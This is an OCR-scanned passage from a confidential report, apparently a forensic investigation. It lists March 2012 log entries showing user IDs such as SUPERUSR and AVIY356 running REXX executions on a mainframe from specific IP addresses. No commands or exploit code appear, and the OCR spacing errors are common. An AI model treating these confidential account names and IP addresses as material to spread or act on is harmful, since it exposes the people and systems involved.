U NXCM D.SY19 . FROM0229 .txt : 5Ma r12 16 :20 WMSTOTI WMSTOTT8 TPXWM010 BPXWREXC 

U NXCM D.SY19 . FROM0229 .txt : 5Ma r12 16 : 20 WMSTOTI WMSTOTT9 TPXWM010 BPXWREXC 

U NXCM D.SY19 . FROM0229 .txt : 5Ma r12 16 :20 BSN0058 TCPFTP5 178. 18. 243 .27 BPXWREXC 

U NXCM D.SY19 . FROM0229 .txt: 5Ma r12 16 :23 WMSTOTI WMSTOTT7 TPXWM010 BPXWREXC 

U NXCMD .SY19 . FROM0229 .txt : 5Mar12 16 :29 BSN0058 TCPFTP2 178. 18 .243 .27 BPXWREXC 

U NXCMD.SY19 . FROM0229 .txt : 5Ma r12 16 : 31  BSN0058 TCPFTP8 178. 18 .243 .27 B PXWREXC 

U NXCMD .SY19 . FROM0229 .txt : 5Ma r12  17 :06 BSN0058 CSQXDISP 178. 18. 243 . 27 BPXWREXC 

U NXCM D.SY19. FROM0229 .txt : 6Mar12 10 :32 WMSTOTI WMSTOTT6 TPXWM010 BPXWREXC 

U NXCM D.SY19 . FROM0229 .txt : 6Ma r12 10 :33 WMSTOTI WMSTOTT1 TPXWM010 BPXWREXC 

U NXCM D.SY19 . FROM0229 .txt : 6Ma r12 10 :33 WMSTOTI WMSTOTT2 TPXWM010 BPXWREXC 
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U NXCMD .SY19 . FROM0229 .txt : 6Ma r12 13 :49 WMSTOTI WMSTOTI1 TPXWM010 BPXWREXC 

U NXCM D.SY19 . FROM0229 .txt : 6Ma r12 13 : 51  WMSTOTI WMSTOTI9 TPXWM010 BPXWREXC 

U NXCMD .SY19. FROM0229 .txt : 8Ma r12 10 : 31  WMSTOTI WMSTOTI2 TPXWMOlO BPXWREXC 

U NXCM D.SY19 . FROM0229.txt : 10M a r12 02 :25  AVIY356 TCPFTP1 203 . 176. 141 .205 BPXWREXC 

U NXCM D.SY19 . FROM0229 .txt : 10Ma r12 05 : 16 AVIY356 BPXASA4 203 . 176. 141 . 205 BPXWREXC 

U NXCMD .SY19 . FROM0229.txt : 10M ar12 06 :04 AVIY356 BPXASA 203 . 176. 141 .205 BPXWREXC 

U NXCMD .SY19 . FROM0229.txt : 10M ar12 06 :05 AVIY356 BPXASA4 203 . 176. 141 .205 BPXWREXC 

U NXCM D.SY19 . FROM0229.txt : 10Ma r12 06 : 19 AVIY356 BPXASA7 203 . 176. 141 .205 BPXWREXC 

U NXCM D.SY19 . FROM0229.txt : 10Ma r12 06 :19  AVIY356 BPXASA8 203 . 176. 141 . 205 BPXWREXC 

U NXCM D.SY19 . FROM0229.txt : 10Ma r12 06 : 19 AVIY356 BPXASA4 203 . 176. 141 . 205 BPXWREXC 

U NXCM D.SY19. FROM0229.txt : 10M ar12 06 :20 AVIY356 BPXASA9 203 . 176. 141 .205 BPXWREXC 

U NXCMD .SY19 . FROM0229.txt : 10Ma r12 06 : 20 AVIY356 BPXASA1 203 . 176. 141 . 205 BPXWREXC 

U NXCM D.SY19 . FROM0229 .txt : 10Mar12 06 : 24 AVIY356 BPXASA2 203 . 176. 141 . 205 BPXWREXC 

U NXCMD .SY19 . FROM0229.txt : 10Mar12 06 : 25 AVIY356 BPXASA4 203 . 176. 141 . 205 BPXWREXC 

U NXCM D.SY19 . FROM0229.txt : 10M a r12 06 :25 AVIY356 BPXASA5 203 . 176. 141 . 205 BPXWREXC 

U NXCM D.SY19 . FROM0229.txt : 10M ar12 06 :25  AVIY356 BPXASA6 203 . 176. 141 .205 BPXWREXC 

U NXCM D.SY19 . FROM0229 .txt : 10Ma r12 06 : 26  AVIY356 BPXASA7 203 . 176. 141 . 205 BPXWREXC 

U NXCM D.SY19 . FROM0229.txt : 10Ma r12 06 : 26 AVIY356 BPXASA8 203 . 176. 141 .205 BPXWREXC 
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U NXCM D.SY19 . FROM0229.txt : 10Mar12 06 :26 AVIY356 BPXASA1 203 . 176. 141 . 205 BPXWREXC 

U NXCMD .SY19 . FROM0229.txt : 10Mar12 06 : 27 AVIY356 BPXASA2 203 . 176. 141 . 205 BPXWREXC 

U NXCMD .SY19 . FROM0229.txt : 10Ma r12 06 :27  AVIY356 BPXASA3 203 . 176. 141 . 205 BPXWREXC 

U NXCMD .SY19 . FROM0229 .txt : 10Ma r12 06 :28 AVIY356 BPXASA4 203 . 176. 141 . 205 BPXWREXC 

U NXCMD .SY19 . FROM0229.txt : 10Ma r12 06 :28 AVIY356 BPXASA5 203 . 176. 141 . 205 BPXWREXC 

U NXCM D.SY19 . F ROM0229 .txt : 10Ma r12 06: 29 AVIY356 BPXASA6 203 . 176 . 141 . 205 BPXWREXC 

U NXCM D.SY19 . FROM0229.txt : 10Mar12 06 :29 AVIY356 BPXASA7 203 . 176. 141 . 205 BPXWREXC 

U NXCM D.SY19 . FROM0229 .txt : 10Ma r12 06: 29 AVIY356 BPXASA9 203 . 176 . 141 .205 BPXWREXC 

U NXCMD .SY19. FROM0229.txt : 10Ma r12 06 :29 AVIY356 BPXASA1 203 . 176. 141 .205 BPXWREXC 

U NXCMD .SY19 . FROM0229 .txt : 10Ma r12 06 : 29 AVIY356 BPXASA2 203 . 176. 141 . 205 BPXWREXC 

U NXCM D.SY19 . FROM0229 .txt : 10Mar12 06 :30 AVIY356 BPXASA3 203 . 176. 141 . 205 BPXWREXC 

U NXCMD .SY19 . FROM0229.txt : 10Ma r12 06 :30 AVIY356 BPXASA4 203 . 176. 141 . 205 BPXWREXC 

U NXCMD .SY19 . FROM0229 .txt : 10Ma r12 06 :30 AVIY356 BPXASA5 203 . 176. 141 . 205 BPXWREXC 

U NXCM D.SY19 . FROM0229.txt : 10Mar12 06 :30 AVIY356 BPXASA7 203 . 176. 141 . 205 BPXWREXC 

U NXCMD .SY19 . FROM0229.txt : 10M a r12 06 : 3 1  AVIY356 BPXASA9 203 . 176. 141 . 205 BPXWREXC 

U NXCM D.SY19 . FROM0229.txt : 10Mar12 06 :43 AVIY356 BPXASA 203 . 176. 141 . 205 BPXWREXC 

U NXCM D.SY19 . FROM0229 .txt : 10Mar12 07 :30 AVIY356 BPXASA 203 . 176. 141 .205 BPXWREXC 

U NXCMD .SY19 . FROM0229.txt : 10Ma r12 07 : 30 AVIY356 BPXASA 203 . 176. 141 . 205 BPXWREXC 
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U NXCM D.SY19 . FROM0229.txt : 10Ma r12 09 : 50 AVIY991 AVIY9914 192 .71 .4 .33 BPXWREXC 

U NXCM D.SY19 . FROM0229.txt : 10Mar12 09 : 5 1  AVIY991 AVIY9916 192 .71 .4 .33 BPXWREXC 

U NXCM D.SY19 . FROM0229 .txt : 10Mar12 10 :25 AVIY991 AVIY9916 192 .71 .4 .33 BPXWREXC 

U NXCM D.SY19 . FROM0229.txt : 10Ma r12 10 :29 AVIY991 AVIY9912 192 .71 .4 .33 BPXWREXC 

U NXCMD .SY19 . FROM0229.txt : 10Ma r12 10:39 AVIY991 AVIY9917 192 .71 .4 .33 BPXWREXC 

U NXCMD .SY19. FROM0229.txt : 10Mar12 10 :39 AVIY991 AVIY9918 192 .71 .4 .33 BPXWREXC 

U NXCMD .SY19 . FROM0229.txt : 10Mar12 10 :39 AVIY991 AVIY9911 192 .71 .4 .33 BPXWREXC 

U NXCM D.SY19. FROM0229.txt : 10Ma r12 13 :05 AVIY991 AVIY9915 192 .71 .4 .33 BPXWREXC 

U NXCM D.SY19 . FROM0229 .txt : 10Ma r12 13 :05 AVIY991 AVIY9911 192 .71 .4 .33 BPXWREXC 

U NXCM D.SY19 . FROM0229 .txt : 10Ma r12 13 :05 AVIY991 AVIY9915 192 .71 .4 .33 BPXWREXC 

U NXCM D.SY19. FROM0229 .txt : 10Ma r12 13 :05 AVIY991 AVIY991 1 192 .71 .4 .33 BPXWREXC 

U NXCM D.SY19 . FROM0229.txt : 10Mar12 13 :06 AVIY991 AVIY9914 192 .71 .4 .33 BPXWREXC 

U NXCM D.SY19 . F ROM0229.txt : 10M ar12 13 :08 AVIY991 AVIY9916 192 .71 .4 .33 BPXWREXC 

U NXCMD .SY19. FROM0229.txt : 10Mar12 13 :09 AVIY991 AVIY9917 192 .71 .4 .33 BPXWREXC 

U N XCM D.SY19 . FROM0229 .txt : 10Ma r12 13 :09 AVIY991 AVIY9918 192 .71 .4 .33 BPXWREXC 

U N XCM D.SY19 . FROM0229 .txt : 10Mar12 17 :00 AVIY991 AVIY9918 192 .71 .4 .33 BPXWREXC 

U N XCM D.SY19 . F ROM0229.txt : 10Mar12 17 :00 AVIY991 AVIY9915 192 .71 .4 .33 BPXWREXC 

U NXCM D.SY19 . FROM0229.txt : 10Mar12 17 :00 AVIY991 AVIY991 1 192 .71 .4 .33 B PXWREXC 
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U NXCMD .SY19 . FROM0229.txt : 10Ma r12 17 :00 AVIY991 AVIY9916 192 .71 .4 .33 BPXWREXC 

U N XCMD.SY19. FROM0229.txt : 10Ma r12 17 :00 AVIY991 AVIY9917 192 . 71 .4 .33 BPXWREXC 

U NXCM D.SY19 . F ROM0229 .txt : 10Mar12 17 :01  AVIY356 BPXASA 203 . 176. 141 . 205 BPXWREXC 

U NXCM D.SY19 . FROM0229.txt : 10Ma r12 17 :03 AVIY356 BPXASA 203 . 176. 141 . 205 BPXWREXC 

U NXCM D.SY19 . FROM0229 .txt : 10Mar12 17 :03 AVIY356 BPXASA2 203 . 176 . 141 .205 BPXWREXC 

U NXCMD .SY19 . FROM0229 .txt : 10Ma r12 17 :03 AVIY356 BPXASA4 203 . 176. 141 . 205 BPXWREXC 

U NXCM D.SY19. FROM0229.txt : 10Mar12 17 :04 AVIY356 BPXASA7 203 . 176 . 141 .205 BPXWREXC 

U NXCMD .SY19 . FROM0229 .txt : 10Ma r12 17 :04 AVIY356 BPXASA8 203 . 176. 141 . 205 BPXWREXC 

U N XCMD.SY19 . FROM0229.txt : 10Ma r12 17 :04 AVIY356 BPXASA3 203 . 176. 141 . 205 BPXWREXC 

U NXCM D.SY19 . FROM0229 .txt : 10Mar12 17 : 17 AVIY356 BPXASA 203 . 176 . 141 .205 BPXWREXC 

U NXCM D.SY19 . FROM0229 .txt : 10Mar12 17 : 18 AVIY356 BPXASA 203 . 176 . 141 .205 BPXWREXC 

U N XCMD.SY19 . FROM0229 .txt : 10Mar12 17 : 18 AVIY356 BPXASA 203 . 176 . 141 .205 BPXWREXC 

U NXCM D.SY19 . FROM0229.txt : 10Ma r12 17 :25  AVIY356 BPXASA 203 . 176. 141 . 205 BPXWREXC 

U NXCM D.SY19 . FROM0229.txt : 10Ma r12 17 : 26 AVIY356 BPXASA 203 . 176. 141 . 205 BPXWREXC 

U NXCM D.SY19 . FROM0229.txt : 10Ma r12 17 : 27 AVIY356 BPXASA 203 . 176. 141 . 205 BPXWREXC 

U NXCM D.SY19 . FROM0229 .txt : 10Ma r12 17 : 28 AVIY356 BPXASA 203 . 176. 141 . 205 BPXWREXC 

U NXCM D.SY19 . F ROM0313 .txt : 15Ma r12 16 :05 SU PERUSR SU PERUSR  178 . 18. 243 .27 BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 15Mar12 16 : 10 SUPERUSR SU PERUSR 178 . 18 .243 .27  BPXWREXC 
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U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 16 : 10 SU PERUSR SU PERUSR  178. 18 .243 . 27 BPXWREXC 

U NXCMD .SY19. FROM0313 .txt : 15 M a r12 16 : 10 SU PERUSR  SU PERUSR 178 . 18 .243 . 27 BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 15 M a r12 16 : 1 1  SU PERUSR  SU PERUSR  178 . 18. 243 . 27 BPXWREXC 

U NXCMD .SY19 . F ROM0313 .txt : 15 M a r12 16 : 12 SU PERUSR SU PERUSR  178 . 18. 243 . 27 BPXWREXC 

U NXCM D.SY19 . F ROM0313 .txt : 15 M a r12 16 : 12  S U P ERUSR SUPERUSR 178. 18 .243 . 27 BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15 M a r12 16 : 12 SU PERUSR S U P ERUSR 178. 18 .243 . 27 BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15 M a r12 16 : 12  SU PERUSR  SUPERUSR 178 . 18. 243 .27  BPXWREXC 

U NXCM D.SY19 . F ROM0313 .txt : 15Ma r12 16 : 12  SU PERUSR SU PERUSR  178 . 18 .243 .27  BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 16 : 12 SU PERUSR S U PERUSR 178. 18 .243 . 27 BPXWREXC 

U NXCMD .SY19 . F ROM03 13 .txt : 15Mar12  16 : 12  SU PERUSR  SU PERUSR 178. 18 .243 . 27 BPXWREXC 

U NXCM D.SY19 . F ROM0313 . txt : 15 M a r12 16 : 13 SU PERUSR S U P ERUSR 178 . 18 .243 .27  BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 16 : 14 S U PERUSR SU PERUSR  178 . 18 .243 . 27 BPXWREXC 

U NXCMD .SY19. F ROM0313 .txt : 15Ma r12 16 : 16 S U P ERUSR SU PERUSR  178 . 18 . 243 . 27 BPXWREXC 

U NXCMD .SY19. FROM0313 .txt : 15Mar12  16 : 16  SU PERUSR  SU PERUSR  178 . 18 . 243 .27  BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 16 : 17 SU PERUSR S U P ERUSR 178 . 18 .243 .27  BPXWREXC 

U NXCMD .SY19. FROM0313 .txt : 1 5Ma r12 16 : 17 S U PERUSR SU PERUSR  178. 18 .243 .27  BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Mar12 16 : 18 SU PERUSR  S U P ERUSR  178 .18 .243 .27  BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 1 5Ma r12 16 : 18 SU PERUSR SU PERUSR  178 . 18 .243 . 27 BPXWREXC 

Stri ct ly confidenti a l  l Bus i ness Secret l 

Sidan 1 78 av 57 4 

Report 



Repan 

U NXCM D.SY19 . F ROM0313 .txt : 15Ma r12 16 : 19 SU PERUSR  SU PERUSR  178. 18. 243 .27  BPXWREXC 

U NXCM D.SY19 . F ROM0313 .txt : 1 5Ma r12 16 : 20 S U P ERUSR SUPERUSR 178 . 18 .243 . 27 BPXWREXC 

U NXCM D.SY19. FROM0313 .txt : 15Ma r12 16 : 21  SU PERUSR SUPERUSR 178 . 18 . 243 .27  BPXWREXC 

U NXC M D.SY19. FROM0313 .txt : 15 M a r12 16 : 21  S U PERUSR SUPERUSR 178 . 18 . 243 .27  BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Mar12  16 :28 SU PERUSR  SU PERUSR  178. 18 . 243 . 27 BPXWREXC 

U NXCM D.SY19 . FROM03 13 .txt : 15Mar12  16 : 28 S U PERUSR S U PERUSR 178. 18 .243 . 27 BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 16 : 28 S U PERUSR SUPERUSR 178 . 18 . 243 .27  BPXWREXC 

U NXCMD .SY19 . FROM03 13 .txt: 15Mar12  16 :29 SUPERUSR SU PERUSR 178. 18. 243 . 27 BPXWREXC 

U NXCM D.SY19. FROM0313 .txt : 15Ma r12 16 : 31  SU PERUSR S U PERUSR 178. 18 .243 . 27 BPXWREXC 

U NXCMD .SY19. FROM0313 .txt : 15Mar12  16 :32  SU PERUSR SU PERUSR  178. 18. 243 . 27 BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 15Ma r12 16 :32  SU PERUSR  SU PERUSR  178 .18 .243 .27  BPXWREXC 

U NXCMD.SY19 . F ROM0313 .txt : 1 5Ma r12 16 :36  S U PERUSR S U P ERUSR 178. 18 .243 . 27 BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Mar12 17 : 26 SU PERUSR S U P ERUSR 178. 18. 243 .27  BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 15Mar12  17 :26  SU PERUSR  SU PERUSR 178. 18. 243 . 27 BPXWREXC 

U NXCM D.SY19 . FROM03 13 .txt : 15Ma r12 17 : 27 SU PERUSR  SU PERUSR  178. 18 .243 .27  BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 15Mar12  17 : 27 SU PERUSR  SU PERUSR 178 . 18 . 243 . 27 BPXWREXC 

U NXC M D.SY19 . F ROM0313 .txt : 15Ma r12 17 : 27 SU PERUSR  SU PERUSR  178. 18 .243 .27  BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 15Ma r12 17 : 28 SU PERUSR SU PERUSR 178. 18 .243 .27  BPXWREXC 

Strictly confidenti a l  l Bus iness Secret l 

Sidan 1 79 av 57 4 



Report 

U NXCM D.SY19 . F ROM0313 .txt : 15Ma r12 17 : 29 S U P ERUSR SU PERUSR  178 . 18 .243 . 27 BPXWREXC 

U NXCMD .SY19. FROM0313 .txt : 15Mar12  17 : 29 SU PERUSR  SU PERUSR 178 . 18. 243 . 27 BPXWREXC 

U NXCMD .SY19 . F ROM0313 .txt : 15Ma r12  17 : 29 SU PERUSR  SUPERUSR 178 . 18. 243 . 27 BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 17 : 29 SU PERUSR  SU PERUSR  178 . 18. 243 . 27 BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 1 5Ma r12 17 : 29 S U PERUSR SU PERUSR  178 . 18 .243 .27  BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15 M a r12 17 : 30 S U P ERUSR SUPERUSR 178. 18. 243 . 27 BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 17 :30 S U P ERUSR SUPERUSR 178. 18 .243 . 27 BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 17 :30 SU PERUSR SU PERUSR  178. 18. 243 .27  BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 15Ma r12 17 : 30 SU PERUSR  SU PERUSR 178 . 18. 243 . 27 BPXWREXC 

U NXC M D.SY19 . FROM0313 .txt : 15Ma r12 17 : 30 WM ROCAR S U PERUSR 178 . 18 .243 .27 BPXWREXC 

U NXCM D.SY19 . F ROM0313 .txt : 15Ma r12 17 : 31  SU PERUSR SU PERUSR  178. 18 .243 . 27 BPXWREXC 

U NXC M D.SY19 . F ROM0313 .txt : 15Ma r12 17 : 3 1  S U P ERUSR SU PERUSR  178 . 18 .243 . 27 BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 15Ma r12 17 : 31  S U P ERUSR SU PERUSR  178 . 18 . 243 .27  BPXWREXC 

U NXCM D.SY19 . F ROM0313 .txt : 15 M a r12 17 : 31  SU PERUSR S U P ERUSR  178. 18 .243 . 27 BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Mar12  17 :32  SU PERUSR S U P ERUSR  178. 18 .243 . 27 BPXWREXC 

U NXCM D.SY19. FROM0313 .txt : 15Mar12 18 :52  SU PERUSR  S U P ERUSR 178 .18 .243 .27  BPXWREXC 

U NXCM D.SY19 . F ROM0313 .txt : 15Ma r12 18 :53 SUPERUSR SU PERUSR  178. 18 .243 .27  BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 15Ma r12 18 :53 SU PERUSR S U P ERUSR 178 . 18 .243 .27  BPXWREXC 

Str ict ly confident i a l  l Bus i ness Secret l 

Sidan 1 80 av 574 



Repan 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 18 :55 SU PERUSR  SU PERUSR  178 . 18 .243 . 27 BPXWREXC 

U NXCMD .SY19. FROM0313 .txt : 15Mar12  18 :57 S U P ERUSR S U P ERUSR 178. 18 . 243 . 27 BPXWREXC 

U NXCM D.SY19 . F ROM0313 .txt : 1 5Ma r12 19 :00 S U PERUSR SU PERUSR  178 . 18 . 243 .27  BPXWREXC 

U NXCMD .SY19. FROM0313 .txt : 15Ma r12 19 :00 SU PERUSR S U P ERUSR 178 . 18 .243 .27  BPXWREXC 

U NXCMD.SY19 . FROM0313 .txt : 1 5Ma r12 19 :01 SU PERUSR  SU PERUSR  178 . 18. 243 . 27 BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 15Ma r12 19 :01  WM ROCAR SU PERUSR 178. 18 .243 .27 BPXWREXC 

U NXCMD .SY19 . FROM03 13 .txt : 15Ma r12 19 :01  WM ROCAR SU PERUSR 178 . 18 .243 .27 BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 15Mar12  19 :01 S U P ERUSR SU PERUSR 178 . 18. 243 .27  BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 15Ma r12 19 :01 SU PERUSR  SUPERUSR 178. 18. 243 . 27 BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 19 :01  WM ROCAR S U P ERUSR 178. 18. 243 .27 BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 15Ma r12 19 :02 WM ROCAR S U P ERUSR 178. 18 .243 .27 BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 15Mar12  19 :02 S U PERUSR SU PERUSR 178 . 18 .243 .27  BPXWREXC 

U NXCM D.SY19 . FROM03 13 .txt : 15Ma r12 19 :03 S U P ERUSR SU PERUSR 178 . 18 .243 .27  BPXWREXC 

U NXCM D.SY19 . FROM03 13 .txt : 15Ma r12 19 :03 WM ROCAR SU PERUSR 178 . 18 .243 .27 BPXWREXC 

U NXCMD .SY19 . FROM03 13 .txt : 15Mar12 19 :06 WM ROCAR SUPERUSR 178 . 18 .243 . 27 BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 15Ma r12 19 :06 SU PERUSR  SU PERUSR  178 . 18. 243 . 27 BPXWREXC 

U NXCMD.SY19 . FROM0313 .txt : 15Ma r12 19 :07 WM ROCAR SU PERUSR 178 . 18 .243 .27 BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 15Mar12 19 :07 SU PERUSR SU PERUSR 178 . 18. 243 . 27 BPXWREXC 

Strict ly confidenti a l  l Bus i ness Secret l 

Sidan 1 8 1 av 574 



Report 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 19 :07 S U PERUSR SUPERUSR 178. 18 . 243 . 27 BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Mar12 19 :07 WM ROCAR SU PERUSR 178 . 18. 243 .27 BPXWREXC 

U NXCM D.SY19 . F ROM0313 .txt : 15Mar12  19 :08 WM ROCAR SUPERUSR 178 . 18. 243 . 27 BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 1 5Mar12 19 :08 SU PERUSR  S U PERUSR 178. 18. 243 .27  BPXWREXC 

U NXCM D.SY19 . FROM03 13 .txt : 15Ma r12 19 :08 SU PERUSR  S U P ERUSR 178. 18 .243 .27  BPXWREXC 

U NXCM D.SY19. FROM0313 .txt : 1 5Ma r12 19 :08 WM ROCAR SU PERUSR 178. 18. 243 .27  BPXWREXC 

U NXCM D.SY19 . F ROM0313 .txt : 15Mar12  19 : 12 SU PERUSR  S U P E RUSR 178 . 18 . 243 . 27 BPXWREXC 

U NXCMD .SY19. FROM0313 .txt : 15Ma r12 19 : 12 WM ROCAR SUPERUSR 178 .18 .243 .27 BPXWREXC 

U NXCM D.SY19 . F ROM0313 .txt : 15 M a r12 19 : 12 WM ROCAR S U P ERUSR 178 . 18 .243 .27 BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 15Mar12  19 : 12 S U P ERUSR SU PERUSR  178 . 18. 243 . 27 BPXWREXC 

U NXCM D.SY19 . F ROM0313 .txt : 15Ma r12 19 : 12 WM ROCAR S U P ERUSR 178. 18 . 243 .27 BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Mar12 19 : 12 SU PERUSR  SU PERUSR  178. 18. 243 . 27 BPXWREXC 

U NXCMD .SY19 . FROM03 13.txt : 15Ma r12 19 : 12 WM ROCAR S U P ERUSR 178 . 18 .243 .27 BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 19 : 12 S U PERUSR  SU PERUSR  178 . 18. 243 .27  BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 19 : 14 WM ROCAR S U PERUSR 178 . 18 . 243 .27 BPXWREXC 

U NXCM D.SY19 . F ROM0313 .txt : 1 5Mar12  19 : 14 SU PERUSR  SUPERUSR 178. 18 . 243 . 27 BPXWREXC 

U NXCMD .SY19 . F ROM0313 .txt : 15Ma r12 19 : 14 WM ROCAR S U P ERUSR 178. 18 .243 .27 BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Mar12 19 : 14 SU PERUSR  SUPERUSR 178. 18. 243 . 27 BPXWREXC 

Stri ct ly confi dent i a l  l Bus i ness Secret l 

Sidan 1 82 av 574 



Repan: 

U NXCM D.SY19 . FROM03 13 .txt : 15Ma r12 19 : 14 WM ROCAR SU PERUSR 178 . 18 .243 .27  BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 15Ma r12 19 : 14 SU PERUSR SU PERUSR 178 . 18. 243 . 27 BPXWREXC 

U NXCM D.SY19. FROM0313 .txt : 1 5Ma r12 19 : 15 WM ROCAR S U P ERUSR 178 . 18 .243 . 27 BPXWREXC 

U NXCM D.SY19 . F ROM0313 .txt : 15Ma r12 19 : 15 SU PERUSR  SUPERUSR 178 . 18 . 243 . 27 BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 19 : 16 SUPERUSR SU PERUSR  178. 18 .243 .27  BPXWREXC 

U NXCMD .SY19 . F ROM0313 .txt : 15Mar12 19 : 16 WM ROCAR SU PERUSR 178 . 18 .243 . 27 BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 15Ma r12 19 : 16 WM ROCAR S U PERUSR 178 . 18 .243 .27 BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 19 : 16 S U PERUSR SUPERUSR 178. 18 .243 .27  BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 15Ma r12 19 : 17 WM ROCAR S U PERUSR 178 . 18 .243 . 27 BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 19 : 17 SU PERUSR S U P ERUSR 178 . 18.243 . 27 BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 15Ma r12 19 : 17 SU PERUSR SU PERUSR  178. 18 .243 .27  BPXWREXC 

U NXCMD .SY19 . F ROM0313 .txt : 15Ma r12 19 : 19 SUPERUSR S U P E RUSR 178 . 18. 243 . 27 BPXWREXC 

U NXCMD.SY19 . FROM0313 .txt : 15Ma r12 19 : 19 WM ROCAR S U PERUSR 178 . 18. 243 . 27 BPXWREXC 

U NXCM D.SY19 . F ROM0313 .txt : 1 5Ma r12 19 : 20 SU PERUSR SUPERUSR 178. 18 .243 . 27 BPXWREXC 

U NXCM D.SY19 . FROM03 13 .txt: 15Mar12  19 : 20 WM ROCAR SU PERUSR 178 . 18 .243 . 27 BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 15Mar12  19 : 20 WM ROCAR SU PERUSR 178 . 18. 243 .27 BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Mar12 19 : 20 SU PERUSR SUPERUSR 178 . 18. 243 . 27 BPXWREXC 

U NXCMD.SY19 . FROM0313 .txt : 15Ma r12 19 : 20 WM ROCAR SU PERUSR 178 . 18 . 243 .27 BPXWREXC 

Stri ct ly confidenti a l  l Bus i ness Secret l 

Sidan 1 83 av 574 



Report 

U NXCMD .SY19 . FROM0313 .txt : 15Ma r12 19 : 20 SUPERUSR SU PERUSR 178 . 18. 243 . 27 BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15 M a r12 19 : 20 WM ROCAR S U PERUSR 178 . 18 .243 . 27 BPXWREXC 

U NXCMD .SY19 . F ROM0313 .txt : 15Ma r12 19 : 20 SU PERUSR  SU PERUSR  178 . 18. 243 . 27 BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 15Mar12  19 :22  S U P ERUSR S U P ERUSR 178. 18. 243 . 27 BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 19 :22  WM ROCAR S U P ERUSR 178 . 18. 243 .27 BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 15Mar12 19 :22  SU PERUSR  SU PERUSR  178 . 18 .243 . 27 BPXWREXC 

U N XCMD.SY19 . FROM0313 .txt : 15 M a r12 19 :22  WM ROCAR S U P ERUSR 178 . 18 .243 .27 BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 1 5Ma r12 19 :25  WM ROCAR S U P ERUSR 178 . 18. 243 .27 BPXWREXC 

U N XCMD.SY19 . FROM0313 .txt : 15Ma r12 19 : 25 SU PERUSR  SU PERUSR  178 . 18 .243 . 27 BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 19 :25  WM ROCAR SUPERUSR 178 . 18 .243 .27 BPXWREXC 

U NXCM D.SY19 . FROM03 13 .txt : 15Ma r12 19 :25  SUPERUSR SU PERUSR 178 .18 .243 .27  BPXWREXC 

U NXCMD .SY19 . F ROM0313 .txt : 15Mar12 19 : 25 SUPERUSR S U P ERUSR  178 . 18 .243 . 27 BPXWREXC 

U NXCM D.SY19 . F ROM0313 .txt : 15Ma r12 19 : 25 WM ROCAR S U P ERUSR 178 . 18 .243 .27 BPXWREXC 

U NXCMD .SY19. FROM0313 .txt : 15Mar12  19 : 25 S U P ERUSR SU PERUSR 178 . 18. 243 . 27 BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Mar12 19 : 25 WM ROCAR SU PERUSR 178. 18 . 243 .27  BPXWREXC 

U NXCM D.SY19 . FROM03 13 .txt : 15 M a r12  19 :26  SU PERUSR  S U P ERUSR 178. 18. 243 . 27 BPXWREXC 

U NXCM D.SY19 . F ROM0313 .txt : 15Ma r12 19 :26  WM ROCAR S U P ERUSR 178. 18 .243 .27 BPXWREXC 

